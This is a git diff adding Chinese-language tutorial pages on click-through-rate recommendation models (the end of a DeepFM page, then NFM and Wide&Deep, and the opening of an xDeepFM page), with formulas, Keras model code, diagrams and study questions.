+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210228161135777.png" alt="image-20210228161135777"  />
+</div>
+
+下面是一个通过keras画的模型结构图，为了更好的显示，数值特征和类别特征都只是选择了一小部分，画图的代码也在github中。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片DeepFM.png" alt="image-20210225180556628" style="zoom:50%;" />
+</div>
+
+## 思考
+1. 如果对于FM采用随机梯度下降SGD训练模型参数，请写出模型各个参数的梯度和FM参数训练的复杂度
+2. 对于下图所示，根据你的理解Sparse Feature中的不同颜色节点分别表示什么意思
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210225180556628.png" alt="image-20210225180556628" style="zoom:50%;" />
+</div>
+
+
+**参考资料**
+- [论文原文](https://arxiv.org/pdf/1703.04247.pdf)
+- [deepctr](https://github.com/shenweichen/DeepCTR)
+- [FM](https://github.com/datawhalechina/fun-rec/blob/master/docs/ch02/ch2.1/ch2.1.2/FM.md)
+- [推荐系统遇上深度学习(三)--DeepFM模型理论和实践](https://www.jianshu.com/p/6f1c2643d31b)
+- [FM算法公式推导](https://blog.csdn.net/qq_32486393/article/details/103498519)
\ No newline at end of file
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/NFM.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/NFM.md
new file mode 100644
index 0000000..e7945ff
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/NFM.md
@@ -0,0 +1,146 @@
+# NFM
+## 动机
+
+NFM(Neural Factorization Machines)是2017年由新加坡国立大学的何向南教授等人在SIGIR会议上提出的一个模型，传统的FM模型仅局限于线性表达和二阶交互， 无法胜任生活中各种具有复杂结构和规律性的真实数据， 针对FM的这点不足， 作者提出了一种将FM融合进DNN的策略，通过引进了一个特征交叉池化层的结构，使得FM与DNN进行了完美衔接，这样就组合了FM的建模低阶特征交互能力和DNN学习高阶特征交互和非线性的能力，形成了深度学习时代的神经FM模型(NFM)。
+
+那么NFM具体是怎么做的呢？ 首先看一下NFM的公式：
+$$
+\hat{y}_{N F M}(\mathbf{x})=w_{0}+\sum_{i=1}^{n} w_{i} x_{i}+f(\mathbf{x})
+$$
+我们对比FM， 就会发现变化的是第三项，前两项还是原来的， 因为我们说FM的一个问题，就是只能到二阶交叉， 且是线性模型， 这是他本身的一个局限性， 而如果想突破这个局限性， 就需要从他的公式本身下点功夫， 于是乎，作者在这里改进的思路就是**用一个表达能力更强的函数来替代原FM中二阶隐向量内积的部分**。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1.png" style="zoom:70%;" />
+</div>
+而这个表达能力更强的函数呢， 我们很容易就可以想到神经网络来充当，因为神经网络理论上可以拟合任何复杂能力的函数， 所以作者真的就把这个$f(x)$换成了一个神经网络，当然不是一个简单的DNN， 而是依然底层考虑了交叉，然后高层使用的DNN网络， 这个也就是我们最终的NFM网络了：
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片2.png" style="zoom:80%;" />
+</div>
+这个结构，如果前面看过了PNN的伙伴会发现，这个结构和PNN非常像，只不过那里是一个product_layer， 而这里换成了Bi-Interaction Pooling了， 这个也是NFM的核心结构了。这里注意， 这个结构中，忽略了一阶部分，只可视化出来了$f(x)$， 我们还是下面从底层一点点的对这个网络进行剖析。
+
+## 模型结构与原理
+### Input 和Embedding层
+输入层的特征， 文章指定了稀疏离散特征居多， 这种特征我们也知道一般是先one-hot, 然后会通过embedding，处理成稠密低维的。 所以这两层还是和之前一样，假设$\mathbf{v}_{\mathbf{i}} \in \mathbb{R}^{k}$为第$i$个特征的embedding向量， 那么$\mathcal{V}_{x}=\left\{x_{1} \mathbf{v}_{1}, \ldots, x_{n} \mathbf{v}_{n}\right\}$表示的下一层的输入特征。这里带上了$x_i$是因为很多$x_i$转成了One-hot之后，出现很多为0的， 这里的$\{x_iv_i\}$是$x_i$不等于0的那些特征向量。  
+
+### Bi-Interaction Pooling layer
+在Embedding层和神经网络之间加入了特征交叉池化层是本网络的核心创新了，正是因为这个结构，实现了FM与DNN的无缝连接， 组成了一个大的网络，且能够正常的反向传播。假设$\mathcal{V}_{x}$是所有特征embedding的集合， 那么在特征交叉池化层的操作：
+$$
+f_{B I}\left(\mathcal{V}_{x}\right)=\sum_{i=1}^{n} \sum_{j=i+1}^{n} x_{i} \mathbf{v}_{i} \odot x_{j} \mathbf{v}_{j}
+$$
+
+$\odot$表示两个向量的元素积操作，即两个向量对应维度相乘得到的元素积向量（可不是点乘呀），其中第$k$维的操作：
+$$
+\left(v_{i} \odot v_{j}\right)_{k}=\boldsymbol{v}_{i k} \boldsymbol{v}_{j k}
+$$
+
+这便定义了在embedding空间特征的二阶交互，这个不仔细看会和感觉FM的最后一项很像，但是不一样，一定要注意这个地方不是两个隐向量的内积，而是元素积，也就是这一个交叉完了之后k个维度不求和，最后会得到一个$k$维向量，而FM那里内积的话最后得到一个数， 在进行两两Embedding元素积之后，对交叉特征向量取和， 得到该层的输出向量， 很显然， 输出是一个$k$维的向量。
+
+注意， 之前的FM到这里其实就完事了， 上面就是输出了，而这里很大的一点改进就是加入特征池化层之后， 把二阶交互的信息合并， 且上面接了一个DNN网络， 这样就能够增强FM的表达能力了， 因为FM只能到二阶， 而这里的DNN可以进行多阶且非线性，只要FM把二阶的学习好了， DNN这块学习来会更加容易， 作者在论文中也说明了这一点，且通过后面的实验证实了这个观点。
+
+如果不加DNN， NFM就退化成了FM，所以改进的关键就在于加了一个这样的层，组合了一下二阶交叉的信息，然后又给了DNN进行高阶交叉的学习，成了一种“加强版”的FM。
+
+Bi-Interaction层不需要额外的模型学习参数，更重要的是它在一个线性的时间内完成计算，和FM一致的，即时间复杂度为$O\left(k N_{x}\right)$，$N_x$为embedding向量的数量。参考FM，可以将上式转化为：
+$$
+f_{B I}\left(\mathcal{V}_{x}\right)=\frac{1}{2}\left[\left(\sum_{i=1}^{n} x_{i} \mathbf{v}_{i}\right)^{2}-\sum_{i=1}^{n}\left(x_{i} \mathbf{v}_{i}\right)^{2}\right]
+$$
+后面代码复现NFM就是用的这个公式直接计算，比较简便且清晰。
+
+### 隐藏层
+这一层就是全连接的神经网络， DNN在进行特征的高层非线性交互上有着天然的学习优势，公式如下：
+$$
+\begin{aligned} 
+\mathbf{z}_{1}=&\sigma_{1}\left(\mathbf{W}_{1} f_{B I} 
+\left(\mathcal{V}_{x}\right)+\mathbf{b}_{1}\right)  \\
+\mathbf{z}_{2}=& \sigma_{2}\left(\mathbf{W}_{2} \mathbf{z}_{1}+\mathbf{b}_{2}\right) \\
+\ldots \ldots \\
+\mathbf{z}_{L}=& \sigma_{L}\left(\mathbf{W}_{L} \mathbf{z}_{L-1}+\mathbf{b}_{L}\right)
+\end{aligned}
+$$
+这里的$\sigma_i$是第$i$层的激活函数，可不要理解成sigmoid激活函数。
+
+### 预测层
+这个就是最后一层的结果直接过一个隐藏层，但注意由于这里是回归问题，没有加sigmoid激活：
+$$
+f(\mathbf{x})=\mathbf{h}^{T} \mathbf{z}_{L}
+$$
+
+所以， NFM模型的前向传播过程总结如下：
+$$
+\begin{aligned}
+\hat{y}_{N F M}(\mathbf{x}) &=w_{0}+\sum_{i=1}^{n} w_{i} x_{i} \\
+&+\mathbf{h}^{T} \sigma_{L}\left(\mathbf{W}_{L}\left(\ldots \sigma_{1}\left(\mathbf{W}_{1} f_{B I}\left(\mathcal{V}_{x}\right)+\mathbf{b}_{1}\right) \ldots\right)+\mathbf{b}_{L}\right)
+\end{aligned}
+$$
+这就是NFM模型的全貌， NFM相比较于其他模型的核心创新点是特征交叉池化层，基于它，实现了FM和DNN的无缝连接，使得DNN可以在底层就学习到包含更多信息的组合特征，这时候，就会减少DNN的很多负担，只需要很少的隐藏层就可以学习到高阶特征信息。NFM相比之前的DNN， 模型结构更浅，更简单，但是性能更好，训练和调参更容易。集合FM二阶交叉线性和DNN高阶交叉非线性的优势，非常适合处理稀疏数据的场景任务。在对NFM的真实训练过程中，也会用到像Dropout和BatchNormalization这样的技术来缓解过拟合和在过大的改变数据分布。
+
+下面通过代码看下NFM的具体实现过程， 学习一些细节。
+
+## 代码实现
+下面我们看下NFM的代码复现，这里主要是给大家说一下这个模型的设计逻辑，参考了deepctr的函数API的编程风格， 具体的代码以及示例大家可以去参考后面的GitHub，里面已经给出了详细的注释， 这里主要分析模型的逻辑这块。关于函数API的编程式风格，我们还给出了一份文档， 大家可以先看这个，再看后面的代码部分，会更加舒服些。下面开始：
+
+这里主要说一下NFM模型的总体运行逻辑， 这样可以让大家从宏观的层面去把握模型的设计过程， 该模型所使用的数据集是criteo数据集，具体介绍参考后面的GitHub。 数据集的特征会分为dense特征(连续)和sparse特征(离散)， 所以模型的输入层接收这两种输入。但是我们这里把输入分成了linear input和dnn input两种情况，而每种情况都有可能包含上面这两种输入。因为我们后面的模型逻辑会分这两部分走，这里有个细节要注意，就是光看上面那个NFM模型的话，是没有看到它线性特征处理的那部分的，也就是FM的前半部分公式那里图里面是没有的。但是这里我们要加上。
+$$
+\hat{y}_{N F M}(\mathbf{x})=w_{0}+\sum_{i=1}^{n} w_{i} x_{i}+f(\mathbf{x})
+$$
+所以模型的逻辑我们分成了两大部分，这里我分别给大家解释下每一块做了什么事情：
+
+1. linear part: 这部分是有关于线性计算，也就是FM的前半部分$w1x1+w2x2...wnxn+b$的计算。对于这一块的计算，我们用了一个get_linear_logits函数实现，后面再说，总之通过这个函数，我们就可以实现上面这个公式的计算过程，得到linear的输出
+2. dnn part: 这部分是后面交叉特征的那部分计算，FM的最后那部分公式f(x)。 这一块主要是针对离散的特征，首先过embedding， 然后过特征交叉池化层，这个计算我们用了get_bi_interaction_pooling_output函数实现， 得到输出之后又过了DNN网络，最后得到dnn的输出
+
+模型的最后输出结果，就是把这两个部分的输出结果加和(当然也可以加权)，再过一个sigmoid得到。所以NFM的模型定义就出来了：
+
+```python
+def NFM(linear_feature_columns, dnn_feature_columns):
+    """
+    搭建NFM模型，上面已经把所有组块都写好了，这里拼起来就好
+    :param linear_feature_columns: A list. 里面的每个元素是namedtuple(元组的一种扩展类型，同时支持序号和属性名访问组件)类型，表示的是linear数据的特征封装版
+    :param dnn_feature_columns: A list. 里面的每个元素是namedtuple(元组的一种扩展类型，同时支持序号和属性名访问组件)类型，表示的是DNN数据的特征封装版
+    """
+    # 构建输入层，即所有特征对应的Input()层， 这里使用字典的形式返回， 方便后续构建模型
+    # 构建模型的输入层，模型的输入层不能是字典的形式，应该将字典的形式转换成列表的形式
+    # 注意：这里实际的输入与Input()层的对应，是通过模型输入时候的字典数据的key与对应name的Input层
+    dense_input_dict, sparse_input_dict = build_input_layers(linear_feature_columns+dnn_feature_columns)
+    input_layers = list(dense_input_dict.values()) + list(sparse_input_dict.values())
+    
+    # 线性部分的计算 w1x1 + w2x2 + ..wnxn + b部分，dense特征和sparse两部分的计算结果组成，具体看上面细节
+    linear_logits = get_linear_logits(dense_input_dict, sparse_input_dict, linear_feature_columns)
+    
+    # DNN部分的计算
+    # 首先，在这里构建DNN部分的embedding层，之所以写在这里，是为了灵活的迁移到其他网络上，这里用字典的形式返回
+    # embedding层用于构建FM交叉部分以及DNN的输入部分
+    embedding_layers = build_embedding_layers(dnn_feature_columns, sparse_input_dict, is_linear=False)
+    
+    # 过特征交叉池化层
+    pooling_output = get_bi_interaction_pooling_output(sparse_input_dict, dnn_feature_columns, embedding_layers)
+    
+    # 加个BatchNormalization
+    pooling_output = BatchNormalization()(pooling_output)
+    
+    # dnn部分的计算
+    dnn_logits = get_dnn_logits(pooling_output)
+    
+    # 线性部分和dnn部分的结果相加，最后再过个sigmoid
+    output_logits = Add()([linear_logits, dnn_logits])
+    output_layers = Activation("sigmoid")(output_logits)
+    
+    model = Model(inputs=input_layers, outputs=output_layers)
+    
+    return model
+```
+
+有了上面的解释，这个模型的宏观层面相信就很容易理解了。关于这每一块的细节，这里就不解释了，在我们给出的GitHub代码中，我们已经加了非常详细的注释，大家看那个应该很容易看明白， 为了方便大家的阅读，我们这里还给大家画了一个整体的模型架构图，帮助大家更好的了解每一块以及前向传播。（画的图不是很规范，先将就看一下，后面我们会统一在优化一下这个手工图）。
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片NFM_aaaa.png" alt="NFM_aaaa" style="zoom: 50%;" />
+</div>
+下面是一个通过keras画的模型结构图，为了更好的显示，数值特征和类别特征都只是选择了一小部分，画图的代码也在github中。
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片nfm.png" alt="NFM_aaaa" style="zoom: 50%;" />
+</div>
+
+## 思考题
+1. NFM中的特征交叉与FM中的特征交叉有何异同，分别从原理和代码实现上进行对比分析
+
+**参考资料**
+- [论文原文](https://arxiv.org/pdf/1708.05027.pdf)
+- [deepctr](https://github.com/shenweichen/DeepCTR)
+- [AI上推荐 之 FNN、DeepFM与NFM(FM在深度学习中的身影重现)](https://blog.csdn.net/wuzhongqiang/article/details/109532267?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161442951716780255224635%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=161442951716780255224635&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v1~rank_blog_v1-1-109532267.pc_v1_rank_blog_v1&utm_term=NFM)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/WideNDeep.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/WideNDeep.md
new file mode 100644
index 0000000..1c31ef8
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/WideNDeep.md
@@ -0,0 +1,117 @@
+# Wide & Deep
+## 动机
+
+在CTR预估任务中利用手工构造的交叉组合特征来使线性模型具有“记忆性”，使模型记住共现频率较高的特征组合，往往也能达到一个不错的baseline，且可解释性强。但这种方式有着较为明显的缺点：
+
+1. 特征工程需要耗费太多精力。
+2. 模型是强行记住这些组合特征的，对于未曾出现过的特征组合，权重系数为0，无法进行泛化。
+
+为了加强模型的泛化能力，研究者引入了DNN结构，将高维稀疏特征编码为低维稠密的Embedding vector，这种基于Embedding的方式能够有效提高模型的泛化能力。但是，基于Embedding的方式可能因为数据长尾分布，导致长尾的一些特征值无法被充分学习，其对应的Embedding vector是不准确的，这便会造成模型泛化过度。
+
+Wide&Deep模型就是围绕记忆性和泛化性进行讨论的，模型能够从历史数据中学习到高频共现的特征组合的能力，称为是模型的Memorization。能够利用特征之间的传递性去探索历史数据中从未出现过的特征组合，称为是模型的Generalization。Wide&Deep兼顾Memorization与Generalization并在Google Play store的场景中成功落地。
+
+## 模型结构及原理
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/Javaimage-20200910214310877.png" alt="image-20200910214310877" style="zoom:65%;" />
+</div>
+
+其实wide&deep模型本身的结构是非常简单的，对于有点机器学习基础和深度学习基础的人来说都非常的容易看懂，但是如何根据自己的场景去选择那些特征放在Wide部分，哪些特征放在Deep部分就需要理解这篇论文提出者当时对于设计该模型不同结构时的意图了，所以这也是用好这个模型的一个前提。
+
+**如何理解Wide部分有利于增强模型的“记忆能力”，Deep部分有利于增强模型的“泛化能力”？**
+
+- wide部分是一个广义的线性模型，输入的特征主要有两部分组成，一部分是原始的部分特征，另一部分是原始特征的交叉特征(cross-product transformation)，对于交互特征可以定义为：
+  $$
+  \phi_{k}(x)=\prod_{i=1}^d x_i^{c_{ki}}, c_{ki}\in \{0,1\}
+  $$
+  $c_{ki}$是一个布尔变量，当第i个特征属于第k个特征组合时，$c_{ki}$的值为1，否则为0，$x_i$是第i个特征的值，大体意思就是两个特征都同时为1这个新的特征才能为1，否则就是0，说白了就是一个特征组合。用原论文的例子举例：
+
+  > AND(user_installed_app=QQ, impression_app=WeChat)，当特征user_installed_app=QQ,和特征impression_app=WeChat取值都为1的时候，组合特征AND(user_installed_app=QQ, impression_app=WeChat)的取值才为1，否则为0。
+  
+  对于wide部分训练时候使用的优化器是带$L_1$正则的FTRL算法(Follow-the-regularized-leader)，而L1 FTLR是非常注重模型稀疏性质的，也就是说W&D模型采用L1 FTRL是想让Wide部分变得更加的稀疏，即Wide部分的大部分参数都为0，这就大大压缩了模型权重及特征向量的维度。**Wide部分模型训练完之后留下来的特征都是非常重要的，那么模型的“记忆能力”就可以理解为发现"直接的"，“暴力的”，“显然的”关联规则的能力。**例如Google W&D期望wide部分发现这样的规则：**用户安装了应用A，此时曝光应用B，用户安装应用B的概率大。**
+  
+- Deep部分是一个DNN模型，输入的特征主要分为两大类，一类是数值特征(可直接输入DNN)，一类是类别特征(需要经过Embedding之后才能输入到DNN中)，Deep部分的数学形式如下：
+  $$
+  a^{(l+1)} = f(W^{l}a^{(l)} + b^{l})
+  $$
+  **我们知道DNN模型随着层数的增加，中间的特征就越抽象，也就提高了模型的泛化能力。**对于Deep部分的DNN模型作者使用了深度学习常用的优化器AdaGrad，这也是为了使得模型可以得到更精确的解。
+
+**Wide部分与Deep部分的结合**
+
+W&D模型是将两部分输出的结果结合起来联合训练，将deep和wide部分的输出重新使用一个逻辑回归模型做最终的预测，输出概率值。联合训练的数学形式如下：需要注意的是，因为Wide侧的数据是高维稀疏的，所以作者使用了FTRL算法优化，而Deep侧使用的是 Adagrad。
+$$
+P(Y=1|x)=\delta(w_{wide}^T[x,\phi(x)] + w_{deep}^T a^{(lf)} + b)
+$$
+
+## 代码实现
+
+Wide侧记住的是历史数据中那些**常见、高频**的模式，是推荐系统中的“**红海**”。实际上，Wide侧没有发现新的模式，只是学习到这些模式之间的权重，做一些模式的筛选。正因为Wide侧不能发现新模式，因此我们需要**根据人工经验、业务背景，将我们认为有价值的、显而易见的特征及特征组合，喂入Wide侧**
+
+Deep侧就是DNN，通过embedding的方式将categorical/id特征映射成稠密向量，让DNN学习到这些特征之间的**深层交叉**，以增强扩展能力。
+
+模型的实现与模型结构类似由deep和wide两部分组成，这两部分结构所需要的特征在上面已经说过了，针对当前数据集实现，我们在wide部分加入了所有可能的一阶特征，包括数值特征和类别特征的onehot都加进去了，其实也可以加入一些与wide&deep原论文中类似交叉特征。只要能够发现高频、常见模式的特征都可以放在wide侧，对于Deep部分，在本数据中放入了数值特征和类别特征的embedding特征，实际应用也需要根据需求进行选择。
+
+```python
+# Wide&Deep 模型的wide部分及Deep部分的特征选择，应该根据实际的业务场景去确定哪些特征应该放在Wide部分，哪些特征应该放在Deep部分
+def WideNDeep(linear_feature_columns, dnn_feature_columns):
+    # 构建输入层，即所有特征对应的Input()层，这里使用字典的形式返回，方便后续构建模型
+    dense_input_dict, sparse_input_dict = build_input_layers(linear_feature_columns + dnn_feature_columns)
+
+    # 将linear部分的特征中sparse特征筛选出来，后面用来做1维的embedding
+    linear_sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), linear_feature_columns))
+
+    # 构建模型的输入层，模型的输入层不能是字典的形式，应该将字典的形式转换成列表的形式
+    # 注意：这里实际的输入与Input()层的对应，是通过模型输入时候的字典数据的key与对应name的Input层
+    input_layers = list(dense_input_dict.values()) + list(sparse_input_dict.values())
+
+    # Wide&Deep模型论文中Wide部分使用的特征比较简单，并且得到的特征非常的稀疏，所以使用了FTRL优化Wide部分（这里没有实现FTRL）
+    # 但是是根据他们业务进行选择的，我们这里将所有可能用到的特征都输入到Wide部分，具体的细节可以根据需求进行修改
+    linear_logits = get_linear_logits(dense_input_dict, sparse_input_dict, linear_sparse_feature_columns)
+    
+    # 构建维度为k的embedding层，这里使用字典的形式返回，方便后面搭建模型
+    embedding_layers = build_embedding_layers(dnn_feature_columns, sparse_input_dict, is_linear=False)
+
+    dnn_sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), dnn_feature_columns))
+
+    # 在Wide&Deep模型中，deep部分的输入是将dense特征和embedding特征拼在一起输入到dnn中
+    dnn_logits = get_dnn_logits(dense_input_dict, sparse_input_dict, dnn_sparse_feature_columns, embedding_layers)
+    
+    # 将linear,dnn的logits相加作为最终的logits
+    output_logits = Add()([linear_logits, dnn_logits])
+
+    # 这里的激活函数使用sigmoid
+    output_layer = Activation("sigmoid")(output_logits)
+
+    model = Model(input_layers, output_layer)
+    return model
+```
+
+关于每一块的细节，这里就不解释了，在我们给出的GitHub代码中，我们已经加了非常详细的注释，大家看那个应该很容易看明白， 为了方便大家的阅读，我们这里还给大家画了一个整体的模型架构图，帮助大家更好的了解每一块以及前向传播。（画的图不是很规范，先将就看一下，后面我们会统一在优化一下这个手工图）。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210228160557072.png" alt="image-20210228160557072" style="zoom:67%;" />
+</div>
+
+下面是一个通过keras画的模型结构图，为了更好的显示，数值特征和类别特征都只是选择了一小部分，画图的代码也在github中。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片Wide&Deep.png" alt="image-20210228160557072" style="zoom:67%;" />
+</div>
+
+## 思考
+1. 在你的应用场景中，哪些特征适合放在Wide侧，哪些特征适合放在Deep侧，为什么呢？
+2. 为什么Wide部分要用L1 FTRL训练？
+3. 为什么Deep部分不特别考虑稀疏性的问题？
+
+思考题可以参考[见微知著，你真的搞懂Google的Wide&Deep模型了吗?](https://zhuanlan.zhihu.com/p/142958834)
+
+
+**参考资料**
+- [论文原文](https://arxiv.org/pdf/1606.07792.pdf)
+- [deepctr](https://github.com/shenweichen/DeepCTR)
+- [看Google如何实现Wide & Deep模型(1)](https://zhuanlan.zhihu.com/p/47293765)
+- [推荐系统系列（六）：Wide&Deep理论与实践](https://zhuanlan.zhihu.com/p/92279796?utm_source=wechat_session&utm_medium=social&utm_oi=753565305866829824&utm_campaign=shareopn)
+- [见微知著，你真的搞懂Google的Wide&Deep模型了吗?](https://zhuanlan.zhihu.com/p/142958834)
+- [用NumPy手工打造 Wide & Deep](https://zhuanlan.zhihu.com/p/53110408)
+- [tensorflow官网的WideDeepModel](https://www.tensorflow.org/versions/r1.15/api_docs/python/tf/keras/experimental/WideDeepModel)
+- [详解 Wide & Deep 结构背后的动机](https://zhuanlan.zhihu.com/p/53361519)
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/xDeepFM.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/xDeepFM.md
new file mode 100644
index 0000000..c856d2c
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/xDeepFM.md
@@ -0,0 +1,565 @@
+## 写在前面
+xDeepFM(eXtreme DeepFM)，这是2018年中科大联合微软在KDD上提出的一个模型，在DeepFM的前面加了一个eXtreme，看这个名字，貌似是DeepFM的加强版，但当我仔细的读完原文之后才发现，如果论血缘关系，这个模型应该离着DCN更近一些，这个模型的改进出发点依然是如何更好的学习特征之间的高阶交互作用，从而挖掘更多的交互信息。而基于这样的动机，作者提出了又一个更powerful的网络来完成特征间的高阶显性交互(DCN的话是一个交叉网络)， 这个网络叫做CIN(Compressed Interaction Network)，这个网络也是xDeepFM的亮点或者核心创新点了(牛x的地方)， 有了这个网络才使得这里的"Deep"变得名副其实。而xDeepFM的模型架构依然是w&D结构，更好的理解方式就是用这个CIN网络代替了DCN里面的Cross Network， 这样使得该网络同时能够显性和隐性的学习特征的高阶交互(显性由CIN完成，隐性由DNN完成)。 那么为啥需要同时学习特征的显性和隐性高阶交互呢？ 为啥会用CIN代替Cross Network呢？ CIN到底有什么更加强大之处呢？ xDeepFM与之前的DeepFM以及FM的关系是怎样的呢？  这些问题都会在后面一一揭晓。
+
+这篇文章的逻辑和前面一样，首先依然是介绍xDeepFM的理论部分和论文里面的细节，我觉得这篇文章的创新思路还是非常厉害的，也就是CIN的结构，在里面是会看到RNN和CNN的身影的，又会看到Cross Network的身影。所以这个结构我这次也是花了一些时间去理解，花了一些时间找解读文章看， 但讲真，解读文章真没有论文里面讲的清晰，所以我这次整理也是完全基于原论文加上我自己的理解进行解读。 当然，我水平有限，难免有理解不到位的地方，如果发现有错，也麻烦各位大佬帮我指出来呀。这样优秀的一个模型，不管是工业上还是面试里面，也是非常喜欢用或者考的内容，所以后面依然参考deepctr的代码，进行简化版的复现，重点看看CIN结构的实现过程。最后就是简单介绍和小总。
+
+这篇文章依然比较长，首先是CIN结构本身可能比较难理解，前面需要一定的铺垫任务，比如一些概念(显隐性交叉，bit-wise和vector-wise等)， 一些基础模型(FM,FNN,PNN,DNN等)，DCN的Cross Network，有了这些铺垫后再理解CIN以及操作会简单些，而CIN本身运算也可能比较复杂，再加上里面时间复杂度和空间复杂度那块的分析，还有后面实验的各个小细节以最后论文还帮助我们串联了各种模型，我想在这篇文章中都整理一下。 再加上模型的复现内容，所以篇幅上还是会很长，各取所需吧还是哈哈。当然这篇文章的重点还是在CIN，这个也是面试里面非常喜欢问的点。
+
+## xDeepFM? 我们需要先了解这些
+### 简介与进化动机
+再具体介绍xDeepFM之前，想先整理点铺垫的知识，也是以前的一些内容，是基于原论文的Introduction部分摘抄了一些，算是对前面内容的一些回顾吧，因为这段时间一直忙着找实习，也已经好久没有写这个系列的相关文章了。所以多少还是有点风格和知识上的遗忘哈哈。
+
+首先是在推荐系统里面， 一般原始的特征很难让模型学习到隐藏在数据背后的规律，因为推荐系统中的原始特征往往非常稀疏，且维度非常高。所以如果想得到一个好的推荐系统，我们必须尽可能的制作更多的特征出来，而特征组合往往是比较好的方式，毕竟特征一般都不是独立存在的，那么特征究竟怎么组合呢？ 这是一个比较值得研究的难题，并且好多学者在这上面也下足了工夫。 如果你说，特征组合是啥来？ 不太清楚了呀，那么文章中这个例子正好能解决你的疑问
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210504201748649.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+</div>
+
+起初的时候，是人工特征组合，这个往往在作比赛的时候会遇到，就是特征工程里面自己进行某些特征的交叉与组合来生成新的特征。 这样的方式会有几个问题，作者在论文里面总结了：
+1. 一般需要一些经验和时间才会得到比较好的特征组合，也就是找这样的组合对于人来说有着非常高的要求，无脑组合不可取 --- 需要一定的经验，耗费大量的时间
+2. 由于推荐系统中数据的维度规模太大了，如果人工进行组合，根本就不太可能实现 --- 特征过多，无法全面顾及特征的组合
+3. 手工制作的特征也没有一定的泛化能力，而恰巧推荐系统中的数据往往又非常稀疏 --- 手工组合无泛化能力
+
+所以，让**模型自动的进行特征交叉组合**探索成了推荐模型里面的比较重要的一个任务，还记得吗？ 这个也是模型进化的方向之一，之所以从前面进行引出，是因为本质上这篇的主角xDeepFM也是从这个方向上进行的探索， 那么既然又探索，那也说明了前面模型在这方面还有一定的问题，那么我们就来再综合理一理。
+
+1. FM模型: 这个模型能够自动学习特征之间的两两交叉，并且比较厉害的地方就是用特征的隐向量内积去表示两两交叉后特征的重要程度，这使得模型在学习交互信息的同时，也让模型有了一定的泛化能力。 But，这个模型也有缺点，首先一般是只能应付特征的两两交叉，再高阶一点的交叉虽然行，但计算复杂，并且作者在论文中提到了高阶交叉的FM模型是不管有用还是无用的交叉都建模，这往往会带来一定的噪声。 
+2. DNN模型: 这个非常熟悉了，深度学习到来之后，推荐模型的演化都朝着DNN的时代去了，原因之一就是因为DNN的多层神经网络可以比较出色的完成特征之间的高阶交互，只需要增加网络的层数，就可以轻松的学习交互，这是DNN的优势所在。 比较有代表的模型PNN，DeepCrossing模型等。 But， DNN并不是非常可靠，有下面几个问题。
+	1. 首先，DNN的这种特征交互是隐性的，后面会具体说显隐性交互区别，但直观上理解，这种隐性交互我们是无法看到到底特征之间是怎么交互的，具体交互到了几阶，这些都是带有一定的不可解释性。
+	2. 其次，DNN是bit-wise层级的交叉，关于bit-wise，后面会说，这种方式论文里面说一个embedding向量里面的各个元素也会相互影响， 这样我觉得在这里带来的一个问题就是可能会发生过拟合。 因为我们知道embedding向量的表示方法就是想从不同的角度去看待某个商品(比如颜色，价格，质地等)，当然embedding各个维度是无可解释性的，但我们还是希望这各个维度更加独立一点好，也就是相关性不那么大为妙，这样的话往往能更加表示出各个商品的区别来。 但如果这各个维度上的元素也互相影响了(神经网络会把这个也学习进去),  那过拟合的风险会变大。当然，上面这个是我自己的感觉， 原作者只是给了这样一段：<br>
+
+    <div align=center> 
+    <img src="https://img-blog.csdnimg.cn/2021050420491452.png#pic_center" alt="image-20210308142624189" style="zoom: 60%;" /> 
+    </div>
+
+	也就是**DNN是否能够真正的有效学习特征之间的高阶交互是个谜！**
+	3. DNN还存在的问题就是学习高阶交互或许是可能，但没法再兼顾低阶交互，也就是记忆能力，所以后面w&D架构在成为了主流架构。
+3. Wide&Deep, DeepFM模型: 这两个模型是既有DNN的深度，也有FM或者传统模型的广度，兼顾记忆能力和泛化能力，也是后面的主流模型。但依然有不足之处，wide&Deep的话不用多讲，首先逻辑回归(宽度部分)仍然需要人工特征交叉，而深度部分的高阶交叉又是一个谜。 DeepFM的话是FM和DNN的组合，用FM替代了逻辑回归，这样至少是模型的自动交叉特征，结合了FM的二阶以及DNN的高阶交叉能力。 但如果DNN这块高度交叉是个谜的话，就有点玄乎了。
